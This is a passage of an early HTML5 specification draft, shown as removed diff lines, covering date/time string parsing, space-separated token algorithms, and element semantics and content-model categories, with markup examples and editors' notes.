-      <p>Interpret the sequence of characters collected two steps ago as a
-       base ten integer, and let that number be <var title="">month</var>.
-
-     <li>If <var title="">month</var> is not a number in the range
-      1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">month</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;12, then the
-      string is invalid, abort these steps.
-
-     <li>
-      <p>Let <var title="">maxday</var> be the <a href="#number">number of
-       days in month <var title="">month</var> of year <var
-       title="">year</var></a>.
-
-     <li>
-      <p>If <var title="">position</var> is past the end of <var
-       title="">input</var>, or if the character at <var
-       title="">position</var> is <em>not</em> a U+002D HYPHEN-MINUS ("-")
-       character, then the string is invalid, abort these steps. Otherwise,
-       advance <var title="">position</var> to the next character.
-     </li>
-     <!-- DAY -->
-
-     <li>
-      <p><a href="#collect">Collect a sequence of characters</a> in the range
-       U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-       sequence is empty, then the string is invalid; abort these steps.
-
-     <li>
-      <p>If the sequence collected in the last step is not exactly two digits
-       long, then the string is invalid.
-
-     <li>
-      <p>Interpret the sequence of characters collected two steps ago as a
-       base ten integer, and let that number be <var title="">day</var>.
-
-     <li>
-      <p>If <var title="">day</var> is not a number in the range
-       1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">day</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-       title="">maxday</var>, then the string is invalid, abort these steps.
-
-     <li>
-      <p>Add the date represented by <var title="">year</var>, <var
-       title="">month</var>, and <var title="">day</var> to the <var
-       title="">results</var>.
-     </li>
-     <!-- WHITESPACE -->
-
-     <li>
-      <p>For the "in content" variant: <a href="#skip-">skip Zs
-       characters</a>; for the "in attributes" variant: <a
-       href="#skip-whitespace">skip whitespace</a>.
-
-     <li>
-      <p>If the character at <var title="">position</var> is a U+0054 LATIN
-       CAPITAL LETTER T, then move <var title="">position</var> forwards one
-       character.
-
-     <li>
-      <p>For the "in content" variant: <a href="#skip-">skip Zs
-       characters</a>; for the "in attributes" variant: <a
-       href="#skip-whitespace">skip whitespace</a>.
-     </li>
-     <!-- at this point, if <var title="">position</var> points to a
-     number, we know that we passed at least one space or a T, because
-     otherwise the number would have been slurped up in the last
-     "collect" step. -->
-     <!-- HOUR -->
-
-     <li>
-      <p><a href="#collect">Collect a sequence of characters</a> in the range
-       U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-       sequence is empty, then the string is invalid; abort these steps.
-
-     <li>
-      <p>Let <var title="">s</var> be the sequence of characters collected in
-       the last step.
-    </ol>
-   </li>
-   <!-- TIME -->
-
-   <li>
-    <p>If <var title="">s</var> is not exactly two digits long, then the
-     string is invalid.
-
-   <li>
-    <p>Interpret the sequence of characters collected two steps ago as a base
-     ten integer, and let that number be <var title="">hour</var>.
-
-   <li>
-    <p>If <var title="">hour</var> is not a number in the range
-     0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">hour</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;23, then the
-     string is invalid, abort these steps.
-
-   <li>
-    <p>If <var title="">position</var> is past the end of <var
-     title="">input</var>, or if the character at <var
-     title="">position</var> is <em>not</em> a U+003A COLON character, then
-     the string is invalid, abort these steps. Otherwise, advance <var
-     title="">position</var> to the next character.
-   </li>
-   <!-- MINUTE -->
-
-   <li>
-    <p><a href="#collect">Collect a sequence of characters</a> in the range
-     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected
-     sequence is empty, then the string is invalid; abort these steps.
-
-   <li>
-    <p>If the sequence collected in the last step is not exactly two digits
-     long, then the string is invalid.
-
-   <li>
-    <p>Interpret the sequence of characters collected two steps ago as a base
-     ten integer, and let that number be <var title="">minute</var>.
-
-   <li>
-    <p>If <var title="">minute</var> is not a number in the range
-     0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">minute</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;59, then the
-     string is invalid, abort these steps.
-   </li>
-   <!-- SECOND -->
-
-   <li>
-    <p>Let <var title="">second</var> be 0. It may be changed to another
-     value in the next step.
-
-   <li>
-    <p>If <var title="">position</var> is not past the end of <var
-     title="">input</var> and the character at <var title="">position</var>
-     is a U+003A COLON character, then:</p>
-
-    <ol>
-     <li>
-      <p><a href="#collect">Collect a sequence of characters</a> that are
-       either characters in the range U+0030 DIGIT ZERO (0) to U+0039 DIGIT
-       NINE (9) or are U+002E FULL STOP. If the collected sequence is empty,
-       or contains more than one U+002E FULL STOP character, then the string
-       is invalid; abort these steps.
-
-     <li>
-      <p>If the first character in the sequence collected in the last step is
-       not in the range U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9), then
-       the string is invalid.
-
-     <li>
-      <p>Interpret the sequence of characters collected two steps ago as a
-       base ten number (possibly with a fractional part), and let that number
-       be <var title="">second</var>.
-
-     <li>
-      <p>If <var title="">second</var> is not a number in the range
-       0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">minute</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;60, then
-       the string is invalid, abort these steps.
-    </ol>
-
-   <li>
-    <p>Add the time represented by <var title="">hour</var>, <var
-     title="">minute</var>, and <var title="">second</var> to the <var
-     title="">results</var>.
-   </li>
-   <!-- TIME ZONE -->
-
-   <li>
-    <p>If <var title="">results</var> has both a date and a time, then:</p>
-
-    <ol>
-     <li>
-      <p>For the "in content" variant: <a href="#skip-">skip Zs
-       characters</a>; for the "in attributes" variant: <a
-       href="#skip-whitespace">skip whitespace</a>.
-
-     <li>
-      <p>If <var title="">position</var> is past the end of <var
-       title="">input</var>, then skip to the next step in the overall set of
-       steps.</p>
-      <!-- UTC -->
-
-     <li>
-      <p>Otherwise, if the character at <var title="">position</var> is a
-       U+005A LATIN CAPITAL LETTER Z, then:</p>
-
-      <ol>
-       <li>
-        <p>Add the timezone corresponding to UTC (zero offset) to the <var
-         title="">results</var>.
-
-       <li>
-        <p>Advance <var title="">position</var> to the next character in <var
-         title="">input</var>.
-
-       <li>
-        <p>Skip to the next step in the overall set of steps.
-      </ol>
-     </li>
-     <!-- EXPLICIT TIMEZONE OFFSET -->
-
-     <li>
-      <p>Otherwise, if the character at <var title="">position</var> is
-       either a U+002B PLUS SIGN ("+") or a U+002D HYPHEN-MINUS ("-"), then:</p>
-
-      <ol><!-- SIGN -->
-
-       <li>
-        <p>If the character at <var title="">position</var> is a U+002B PLUS
-         SIGN ("+"), let <var title="">sign</var> be "positive". Otherwise,
-         it's a U+002D HYPHEN-MINUS ("-"); let <var title="">sign</var> be
-         "negative".
-       </li>
-       <!-- HOURS -->
-
-       <li>
-        <p>Advance <var title="">position</var> to the next character in <var
-         title="">input</var>.
-
-       <li>
-        <p><a href="#collect">Collect a sequence of characters</a> in the
-         range U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the
-         collected sequence is not exactly two characters long, then the
-         string is invalid.
-
-       <li>
-        <p>Interpret the sequence collected in the last step as a base ten
-         number, and let that number be <var
-         title="">timezone<sub>hours</sub></var>.
-
-       <li>If <var title="">timezone<sub>hours</sub></var> is not a number in
-        the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-        title="">timezone<sub>hours</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;23, then the
-        string is invalid; abort these steps.
-
-       <li>If <var title="">sign</var> is "negative", then negate <var
-        title="">timezone<sub>hours</sub></var>.
-
-       <li>
-        <p>If <var title="">position</var> is beyond the end of <var
-         title="">input</var> or if the character at <var
-         title="">position</var> is not a U+003A COLON character, then the
-         string is invalid; abort these steps. Otherwise, move <var
-         title="">position</var> forwards one character.
-       </li>
-       <!-- MINUTES -->
-
-       <li>
-        <p><a href="#collect">Collect a sequence of characters</a> in the
-         range U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the
-         collected sequence is not exactly two characters long, then the
-         string is invalid.
-
-       <li>
-        <p>Interpret the sequence collected in the last step as a base ten
-         number, and let that number be <var
-         title="">timezone<sub>minutes</sub></var>.
-
-       <li>If <var title="">timezone<sub>minutes</sub></var> is not a number
-        in the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-        title="">timezone<sub>minutes</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;59, then the
-        string is invalid; abort these steps.
-
-       <li>
-        <p>Add the timezone corresponding to an offset of <var
-         title="">timezone<sub>hours</sub></var> hours and <var
-         title="">timezone<sub>minutes</sub></var> minutes to the <var
-         title="">results</var>.
-
-       <li>
-        <p>Skip to the next step in the overall set of steps.
-      </ol>
-
-     <li>
-      <p>Otherwise, the string is invalid; abort these steps.
-    </ol>
-
-   <li>
-    <p>For the "in content" variant: <a href="#skip-">skip Zs characters</a>;
-     for the "in attributes" variant: <a href="#skip-whitespace">skip
-     whitespace</a>.
-
-   <li>
-    <p>If <var title="">position</var> is <em>not</em> past the end of <var
-     title="">input</var>, then the string is invalid.</p>
-
-   <li>
-    <p>Abort these steps (the string is parsed).
-  </ol>
-
-  <h4 id=tokens><span class=secno>3.2.4. </span>Tokens</h4>
-
-  <p>An <dfn id=unordered>unordered set of space-separated tokens</dfn> is a
-   set of zero or more words separated by one or more <a href="#space"
-   title="space character">space characters</a>, where words consist of any
-   string of one or more characters, none of which are <a href="#space"
-   title="space character">space characters</a>.
-
-  <p>A string containing an <a href="#unordered">unordered set of
-   space-separated tokens</a> may have leading or trailing <a href="#space"
-   title="space character">space characters</a>.
-
-  <p class=note>Thus, any string is a valid representation of an <a
-   href="#unordered">unordered set of space-separated tokens</a>.
-
-  <p>When a user agent has to <dfn id=split>split a string on spaces</dfn>,
-   it must use the following algorithm:
-
-  <ol>
-   <li>
-    <p>Let <var title="">input</var> be the string being parsed.
-
-   <li>
-    <p>Let <var title="">position</var> be a pointer into <var
-     title="">input</var>, initially pointing at the start of the string.
-
-   <li>
-    <p>Let <var title="">tokens</var> be a list of tokens, initially empty.
-
-   <li>
-    <p><a href="#skip-whitespace">Skip whitespace</a>
-
-   <li>
-    <p>While <var title="">position</var> is not past the end of <var
-     title="">input</var>:</p>
-
-    <ol>
-     <li>
-      <p><a href="#collect">Collect a sequence of characters</a> that are not
-       <a href="#space" title="space character">space characters</a>.
-
-     <li>
-      <p>Add the string collected in the previous step to <var
-       title="">tokens</var>.
-
-     <li>
-      <p><a href="#skip-whitespace">Skip whitespace</a>
-    </ol>
-
-   <li>
-    <p>Return <var title="">tokens</var>.
-  </ol>
-
-  <p>When a user agent has to <dfn id=remove0>remove a token from a
-   string</dfn>, it must use the following algorithm:
-
-  <ol>
-   <li>
-    <p>Let <var title="">input</var> be the string being modified.
-
-   <li>
-    <p>Let <var title="">token</var> be the token being removed. It will not
-     contain any <a href="#space" title="space character">space
-     characters</a>.
-
-   <li>
-    <p>Let <var title="">output</var> be the output string, initially empty.
-
-   <li>
-    <p>Let <var title="">position</var> be a pointer into <var
-     title="">input</var>, initially pointing at the start of the string.
-
-   <li>
-    <p>If <var title="">position</var> is beyond the end of <var
-     title="">input</var>, set the string being modified to <var
-     title="">output</var>, and abort these steps.
-
-   <li>
-    <p>If the character at <var title="">position</var> is a <a
-     href="#space">space character</a>:
-
-    <ol>
-     <li>
-      <p>Append the character at <var title="">position</var> to the end of
-       <var title="">output</var>.
-
-     <li>
-      <p>Increment <var title="">position</var> so it points at the next
-       character in <var title="">input</var>.
-
-     <li>
-      <p>Return to step 5 in the overall set of steps.
-    </ol>
-
-   <li>
-    <p>Otherwise, the character at <var title="">position</var> is the first
-     character of a token. <a href="#collect">Collect a sequence of
-     characters</a> that are not <a href="#space" title="space
-     character">space characters</a>, and let that be <var title="">s</var>.
-
-   <li>
-    <p>If <var title="">s</var> is exactly equal to <var
-     title="">token</var>, then:</p>
-
-    <ol>
-     <li>
-      <p><a href="#skip-whitespace">Skip whitespace</a> (in <var
-       title="">input</var>).
-
-     <li>
-      <p>Remove any <a href="#space" title="space character">space
-       characters</a> currently at the end of <var title="">output</var>.
-
-     <li>
-      <p>If <var title="">position</var> is not past the end of <var
-       title="">input</var>, and <var title="">output</var> is not the empty
-       string, append a single U+0020 SPACE character at the end of <var
-       title="">output</var>.
-    </ol>
-
-   <li>
-    <p>Otherwise, append <var title="">s</var> to the end of <var
-     title="">output</var>.
-
-   <li>
-    <p>Return to step 6 in the overall set of steps.
-  </ol>
-
-  <p class=note>This causes any occurrences of the token to be removed from
-   the string, and any spaces that were surrounding the token to be collapsed
-   to a single space, except at the start and end of the string, where such
-   spaces are removed.
-
-  <h3 id=documents0><span class=secno>3.3. </span>Documents and document
-   fragments</h3>
-
-  <h4 id=semantics0><span class=secno>3.3.1. </span>Semantics</h4>
-
-  <p>Elements, attributes, and attribute values in HTML are defined (by this
-   specification) to have certain meanings (semantics). For example, the
-   <code><a href="#ol0">ol</a></code> element represents an ordered list, and
-   the <code title=lang>lang</code> attribute represents the language of the
-   content.
-
-  <p>Authors must only use elements, attributes, and attribute values for
-   their appropriate semantic purposes.
-
-  <div class=example>
-   <p>For example, the following document is non-conforming, despite being
-    syntactically correct:</p>
-
-   <pre>AMPERSANDlt;!DOCTYPE htmlAMPERSANDgt;
-AMPERSANDlt;html lang="en-GB"AMPERSANDgt;
- AMPERSANDlt;headAMPERSANDgt; AMPERSANDlt;titleAMPERSANDgt; Demonstration AMPERSANDlt;/titleAMPERSANDgt; AMPERSANDlt;/headAMPERSANDgt;
- AMPERSANDlt;bodyAMPERSANDgt;
-  AMPERSANDlt;tableAMPERSANDgt;
-   AMPERSANDlt;trAMPERSANDgt; AMPERSANDlt;tdAMPERSANDgt; My favourite animal is the cat. AMPERSANDlt;/tdAMPERSANDgt; AMPERSANDlt;/trAMPERSANDgt;
-   AMPERSANDlt;trAMPERSANDgt;
-    AMPERSANDlt;tdAMPERSANDgt;
-     AMPERSANDmdash;AMPERSANDlt;a href="http://example.org/~ernest/"AMPERSANDgt;AMPERSANDlt;citeAMPERSANDgt;ErnestAMPERSANDlt;/citeAMPERSANDgt;AMPERSANDlt;/aAMPERSANDgt;,
-     in an essay from 1992
-    AMPERSANDlt;/tdAMPERSANDgt;
-   AMPERSANDlt;/trAMPERSANDgt;
-  AMPERSANDlt;/tableAMPERSANDgt;
- AMPERSANDlt;/bodyAMPERSANDgt;
-AMPERSANDlt;/htmlAMPERSANDgt;</pre>
-
-   <p>...because the data placed in the cells is clearly not tabular data. A
-    corrected version of this document might be:</p>
-
-   <pre>AMPERSANDlt;!DOCTYPE htmlAMPERSANDgt;
-AMPERSANDlt;html lang="en-GB"AMPERSANDgt;
- AMPERSANDlt;headAMPERSANDgt; AMPERSANDlt;titleAMPERSANDgt; Demonstration AMPERSANDlt;/titleAMPERSANDgt; AMPERSANDlt;/headAMPERSANDgt;
- AMPERSANDlt;bodyAMPERSANDgt;
-  AMPERSANDlt;blockquoteAMPERSANDgt;
-   AMPERSANDlt;pAMPERSANDgt; My favourite animal is the cat. AMPERSANDlt;/pAMPERSANDgt;
-  AMPERSANDlt;/blockquoteAMPERSANDgt;
-  AMPERSANDlt;pAMPERSANDgt;
-   AMPERSANDmdash;AMPERSANDlt;a href="http://example.org/~ernest/"AMPERSANDgt;AMPERSANDlt;citeAMPERSANDgt;ErnestAMPERSANDlt;/citeAMPERSANDgt;AMPERSANDlt;/aAMPERSANDgt;,
-   in an essay from 1992
-  AMPERSANDlt;/pAMPERSANDgt;
- AMPERSANDlt;/bodyAMPERSANDgt;
-AMPERSANDlt;/htmlAMPERSANDgt;</pre>
-
-   <p>This next document fragment, intended to represent the heading of a
-    corporate site, is similarly non-conforming because the second line is
-    not intended to be a heading of a subsection, but merely a subheading or
-    subtitle (a subordinate heading for the same section).</p>
-
-   <pre>AMPERSANDlt;bodyAMPERSANDgt;
- AMPERSANDlt;h1AMPERSANDgt;ABC CompanyAMPERSANDlt;/h1AMPERSANDgt;
- AMPERSANDlt;h2AMPERSANDgt;Leading the way in widget design since 1432AMPERSANDlt;/h2AMPERSANDgt;
- ...</pre>
-
-   <p>The <code><a href="#header0">header</a></code> element should be used
-    in these kinds of situations:</p>
-
-   <pre>AMPERSANDlt;bodyAMPERSANDgt;
- AMPERSANDlt;headerAMPERSANDgt;
-  AMPERSANDlt;h1AMPERSANDgt;ABC CompanyAMPERSANDlt;/h1AMPERSANDgt;
-  AMPERSANDlt;h2AMPERSANDgt;Leading the way in widget design since 1432AMPERSANDlt;/h2AMPERSANDgt;
- AMPERSANDlt;/headerAMPERSANDgt;
- ...</pre>
-  </div>
-
-  <p>Through scripting and using other mechanisms, the values of attributes,
-   text, and indeed the entire structure of the document may change
-   dynamically while a user agent is processing it. The semantics of a
-   document at an instant in time are those represented by the state of the
-   document at that instant in time, and the semantics of a document can
-   therefore change over time. User agents must update their presentation of
-   the document as this occurs.
-
-  <p class=example>HTML has a <code><a href="#progress0">progress</a></code>
-   element that describes a progress bar. If its "value" attribute is
-   dynamically updated by a script, the UA would update the rendering to show
-   the progress changing.
-
-  <h4 id=structure0><span class=secno>3.3.2. </span>Structure</h4>
-
-  <p>All the elements in this specification have a defined content model,
-   which describes what nodes are allowed inside the elements, and thus what
-   the structure of an HTML document or fragment must look like. Authors must
-   only put elements inside an element if that element allows them to be
-   there according to its content model.
-
-  <p class=note>As noted in the conformance and terminology sections, for the
-   purposes of determining if an element matches its content model or not, <a
-   href="#text-node" title="text node"><code>CDATASection</code> nodes in the
-   DOM are treated as equivalent to <code>Text</code> nodes</a>, and <a
-   href=entity-references>entity reference nodes are treated as if they were
-   expanded in place</a>.
-
-  <p>The <a href="#space" title="space character">space characters</a> are
-   always allowed between elements. User agents represent these characters
-   between elements in the source markup as text nodes in the
-   DOM.<!-- not a conf criteria since the parser now requires this
-  -->
-   Empty <a href="#text-node" title="text node">text nodes</a> and <a
-   href="#text-node" title="text node">text nodes</a> consisting of just
-   sequences of those characters are considered <dfn
-   id=inter-element>inter-element whitespace</dfn>.
-
-  <p><a href="#inter-element">Inter-element whitespace</a>, comment nodes,
-   and processing instruction nodes must be ignored when establishing whether
-   an element matches its content model or not, and must be ignored when
-   following algorithms that define document and element semantics.
-
-  <p>An element <var title="">A</var> is said to be <dfn
-   id=preceeded>preceeded or followed</dfn> by a second element <var
-   title="">B</var> if <var title="">A</var> and <var title="">B</var> have
-   the same parent node and there are no other element nodes or text nodes
-   (other than <a href="#inter-element">inter-element whitespace</a>) between
-   them.
-
-  <p>Authors must only use <a href="#elements1">elements in the HTML
-   namespace</a> in the contexts where they are allowed, as defined for each
-   element. For XML compound documents, these contexts could be inside
-   elements from other namespaces, if those elements are defined as providing
-   the relevant contexts.
-
-  <div class=example>
-   <p>The SVG specification defines the SVG <code>foreignObject</code>
-    element as allowing foreign namespaces to be included, thus allowing
-    compound documents to be created by inserting subdocument content under
-    that element. <em>This</em> specification defines the XHTML <code><a
-    href="#html0">html</a></code> element as being allowed where subdocument
-    fragments are allowed in a compound document. Together, these two
-    definitions mean that placing an XHTML <code><a
-    href="#html0">html</a></code> element as a child of an SVG
-    <code>foreignObject</code> element is conforming.</p>
-  </div>
-
-  <h4 id=kinds><span class=secno>3.3.3. </span>Kinds of elements</h4>
-
-  <p>Each element in HTML falls into zero or more categories that group
-   elements with similar characteristics together. This specification uses
-   the following categories:
-
-  <ul class=brief>
-   <li><a href="#metadata">Metadata elements</a>
-
-   <li><a href="#sectioning">Sectioning elements</a>
-
-   <li><a href="#block-level1">Block-level elements</a>
-
-   <li><a href="#strictly">Strictly inline-level content</a>
-
-   <li><a href="#structured">Structured inline-level elements</a>
-
-   <li><a href="#interactive3">Interactive elements</a>
-
-   <li><span>Form control elements</span>
-  </ul>
-  <!-- XXX check that all the above got a section defining them,
-  however briefly -->
-  <!-- XXX check that the element definitions also link to those
-  sections -->
-
-  <p>Some elements have unique requirements and do not fit into any
-   particular category.
-
-  <p>In addition, some elements represent various common concepts; for
-   example, some elements represent <span>paragraphs</span>.
-
-  <h5 id=block-level><span class=secno>3.3.3.1. </span><dfn
-   id=block-level1>Block-level elements</dfn></h5>
-
-  <p>Block-level elements are used for structural grouping of page content.
-
-  <p>There are several kinds of block-level elements:
-
-  <ul>
-   <li>Some can only contain other block-level elements: <code><a
-    href="#blockquote0">blockquote</a></code>, <code><a
-    href="#section0">section</a></code>, <code><a
-    href="#article0">article</a></code>, <code><a
-    href="#header0">header</a></code>.
-
-   <li>Some can only contain <a href="#inline-level1">inline-level
-    content</a>: <code><a href="#p0">p</a></code>, <code><a
-    href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code>, <code><a
-    href="#address0">address</a></code>.
-
-   <li>Some can contain either block-level elements or <a
-    href="#inline-level1">inline-level content</a> (but not both): <code><a
-    href="#nav0">nav</a></code>, <code><a href="#aside0">aside</a></code>,
-    <code><a href="#footer0">footer</a></code>, <code><a
-    href="#div0">div</a></code>.
-
-   <li>Finally, some have very specific content models: <code><a
-    href="#ul0">ul</a></code>, <code><a href="#ol0">ol</a></code>, <code><a
-    href="#dl0">dl</a></code>, <code><a href="#table0">table</a></code>,
-    <code><a href="#script2">script</a></code>.
-  </ul>
-
-  <p>There are also elements that seem to be block-level but aren't, such as
-   <code><a href="#body1">body</a></code>, <code><a
-   href="#li0">li</a></code>, <code><a href="#dt0">dt</a></code>, <code><a
-   href="#dd0">dd</a></code>, and <code><a href="#td0">td</a></code>. These
-   elements are allowed only in specific places, not simply anywhere that
-   block-level elements are allowed.
-
-  <p>Some block-level elements play multiple roles. For instance, the
-   <code><a href="#script2">script</a></code> elements is allowed inside
-   <code><a href="#head0">head</a></code> elements and can also be used as <a
-   href="#inline-level1">inline-level content</a>. Similarly, the <code><a
-   href="#ul0">ul</a></code>, <code><a href="#ol0">ol</a></code>, <code><a
-   href="#dl0">dl</a></code>, <code><a href="#table0">table</a></code>, and
-   <code><a href="#blockquote0">blockquote</a></code> elements play dual
-   roles as both block-level and inline-level elements.
-
-  <h5 id=inline-level><span class=secno>3.3.3.2. </span><dfn
-   id=inline-level1>Inline-level content</dfn></h5>
-
-  <p>Inline-level content consists of text and various elements to annotate
-   the text, as well as some <a href="#embedded0">embedded content</a> (such
-   as images or sound clips).
-
-  <p>Inline-level content comes in various types:
-
-  <dl>
-   <dt><dfn id=strictly>Strictly inline-level content</dfn>
-
-   <dd>Text, <a href="#embedded0">embedded content</a>, and elements that
-    annotate the text without introducing structural grouping. For example:
-    <code><a href="#a0">a</a></code>, <code><a
-    href="#meter0">meter</a></code>, <code><a href="#img0">img</a></code>.
-    Elements used in contexts allowing only strictly inline-level content
-    must not contain anything other than strictly inline-level content.
-
-   <dt><dfn id=structured>Structured inline-level elements</dfn>
-
-   <dd>Block-level elements that can also be used as inline-level content.
-    For example: <code><a href="#ol0">ol</a></code>, <code><a
-    href="#blockquote0">blockquote</a></code>, <code><a
-    href="#table0">table</a></code>.
-  </dl>
-
-  <p>Some elements are defined to have as a content model <dfn
-   id=significant>significant inline content</dfn>. This means that at least
-   one descendant of the element must be <a href="#significant0">significant
-   text</a> or <a href="#embedded0">embedded content</a>.
-
-  <p>Unless an element's content model explicitly states that it must contain
-   <a href="#significant">significant inline content</a>, simply having no <a
-   href="#text-node" title="text node">text nodes</a> and no elements
-   satisfies an element whose content model is some kind of inline content.
-
-  <p><dfn id=significant0>Significant text</dfn>, for the purposes of
-   determining the presence of <a href="#significant">significant inline
-   content</a>, consists of any character other than those falling in the <a
-   href="http://unicode.org/Public/UNIDATA/UCD.html#General_Category_Values">Unicode
-   categories</a> Zs, Zl, Zp, Cc, and Cf. <a
-   href="#refsUNICODE">[UNICODE]</a>
-
-  <div class=example>
-   <p>The following three paragraphs are non-conforming because their content
-    model is not satisfied (they all count as empty).</p>
-
-   <pre>
-AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;
-AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;emAMPERSANDgt;AMPERSANDamp;#x00A0;AMPERSANDlt;/emAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;
-AMPERSANDlt;pAMPERSANDgt;
- AMPERSANDlt;olAMPERSANDgt;
-  AMPERSANDlt;liAMPERSANDgt;AMPERSANDlt;/liAMPERSANDgt;
- AMPERSANDlt;/olAMPERSANDgt;
-AMPERSANDlt;/pAMPERSANDgt;
-</pre>
-  </div>
-
-  <p><dfn id=embedded0>Embedded content</dfn> consists of elements that
-   introduce content from other resources into the document, for example
-   <code><a href="#img0">img</a></code>. Embedded content elements can have
-   <dfn id=fallback>fallback content</dfn>: content that is to be used when
-   the external resource cannot be used (e.g. because it is of an unsupported
-   format). The element definitions state what the fallback is, if any.
-
-  <h5 id=determining><span class=secno>3.3.3.3. </span><dfn
-   id=determining2>Determining if a particular element contains block-level
-   elements or inline-level content</dfn></h5>
-
-  <p>Some elements are defined to have content models that allow either <a
-   href="#block-level1">block-level elements</a> or <a
-   href="#inline-level1">inline-level content</a>, but not both. For example,
-   the <code><a href="#aside0">aside</a></code> and <code><a
-   href="#li0">li</a></code> elements.
-
-  <p>To establish whether such an element is being used as a block-level
-   container or as an inline-level container, for example in order to
-   determine if a document conforms to these requirements, user agents must
-   look at the element's child nodes. If any of the child nodes are not
-   allowed in block-level contexts, then the element is being used for <a
-   href="#inline-level1">inline-level content</a>. If all the child nodes are
-   allowed in a block-level context, then the element is being used for <a
-   href="#block-level1">block-level elements</a>.
-
-  <div class=example>
-   <p>For instance, in the following (non-conforming) fragment, the <code><a
-    href="#li0">li</a></code> element is being used as an inline-level
-    element container, because the <code><a href="#style0">style</a></code>
-    element is not allowed in a block-level context. (It doesn't matter, for
-    the purposes of determining whether it is an inline-level or block-level
-    context, that the <code><a href="#style0">style</a></code> element is not
-    allowed in inline-level contexts either.)</p>
-
-   <pre>AMPERSANDlt;olAMPERSANDgt;
- AMPERSANDlt;liAMPERSANDgt;
-  AMPERSANDlt;pAMPERSANDgt; Hello World AMPERSANDlt;/pAMPERSANDgt;
-  AMPERSANDlt;styleAMPERSANDgt;
-   /* This example is illegal. */
-  AMPERSANDlt;/styleAMPERSANDgt;
- AMPERSANDlt;/liAMPERSANDgt;
-AMPERSANDlt;/olAMPERSANDgt;
-</pre>
-
-   <p>In the following fragment, the <code><a href="#aside0">aside</a></code>
-    element is being used as a block-level container, because even though all
-    the elements it contains could be considered inline-level elements, there
-    are no nodes that can only be considered inline-level.</p>
-
-   <pre>AMPERSANDlt;asideAMPERSANDgt;
- AMPERSANDlt;olAMPERSANDgt;
-  AMPERSANDlt;liAMPERSANDgt; ... AMPERSANDlt;/liAMPERSANDgt;
- AMPERSANDlt;/olAMPERSANDgt;
- AMPERSANDlt;ulAMPERSANDgt;
-  AMPERSANDlt;liAMPERSANDgt; ... AMPERSANDlt;/liAMPERSANDgt;
- AMPERSANDlt;/ulAMPERSANDgt;
-AMPERSANDlt;/asideAMPERSANDgt;</pre>
-
-   <p>On the other hand, in the following similar fragment, the <code><a
-    href="#aside0">aside</a></code> element is an inline-level container,
-    because the text ("Foo") can only be considered inline-level.</p>
-
-   <pre>AMPERSANDlt;asideAMPERSANDgt;
- AMPERSANDlt;olAMPERSANDgt;
-  AMPERSANDlt;liAMPERSANDgt; ... AMPERSANDlt;/liAMPERSANDgt;
- AMPERSANDlt;/olAMPERSANDgt;
- Foo
-AMPERSANDlt;/asideAMPERSANDgt;</pre>
-  </div>
-
-  <h5 id=interactive0><span class=secno>3.3.3.4. </span><dfn
-   id=interactive3>Interactive elements</dfn></h5>
-
-  <p>Certain elements in HTML can be activated, for instance <code><a
-   href="#a0">a</a></code> elements, <code>button</code> elements, or
-   <code>input</code> elements when their <code>type</code> attribute is set
-   to <code>radio</code>. Activation of those elements can happen in various
-   (UA-defined) ways, for instance via the mouse or keyboard.
-
-  <p>When activation is performed via some method other than clicking the
-   pointing device, the default action of the event that triggers the
-   activation must, instead of being activating the element directly, be to
-   <a href="#firing">fire a <code title="">click</code> event</a> on the same
-   element.</p>
-  <!-- XXX this part is wrong; we should define it in terms of ANY
-  click event, possibly requiring trusted clicks: -->
-
-  <p>The default action of this <code title=event-click>click</code> event,
-   or of the real <code title=event-click>click</code> event if the element
-   was activated by clicking a pointing device, must be to dispatch yet
-   another event, namely <a
-   href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#event-DOMActivate"><code>DOMActivate</code></a>.
-   It is the default action of <em>that</em> event that then performs the
-   actual action.</p>
-  <!-- XXX need to define the dispatching of
-  DOMActivate in the same way we define the dispatching of click -->
-
-  <p>For certain form controls, this process is complicated further by <a
-   href="http://whatwg.org/specs/web-forms/current-work/#the-click">changes
-   that must happen around the click event</a>. <a href="#refsWF2">[WF2]</a></p>
-  <!-- XXX WF2: when this is merged into
-  this spec, update xrefs -->
-
-  <p class=note>Most interactive elements have content models that disallowed
-   nesting interactive elements.
-
-  <p class=big-issue> Need to define how default actions actually work. For
-   instance, if you click an event inside a link, the event is triggered on
-   that element, but then we'd like a click is sent on the link itself. So
-   how does that happen? Does the link have a bubbling listener that triggers
-   that second click event? what if there are multiple nested links, which
-   one should we send that event to?</p>
-  <!--
-   <li><span>Form control elements</span></li> XXX
--->
-
-  <h5 id=paragraphs><span class=secno>3.3.3.5. </span>Paragraphs</h5>
-
-  <p>A <dfn id=paragraph>paragraph</dfn> is typically a block of text with
-   one or more sentences that discuss a particular topic, as in typography,
-   but can also be used for more general thematic grouping. For instance, an
-   address is also a paragraph, as is a part of a form, a byline, or a stanza
-   in a poem.
-
-  <p>Paragraphs can be represented by several elements. The <code><a
-   href="#address0">address</a></code> element always represents a paragraph
-   of contact information for its section, the <code><a
-   href="#aside0">aside</a></code>, <code><a href="#nav0">nav</a></code>,
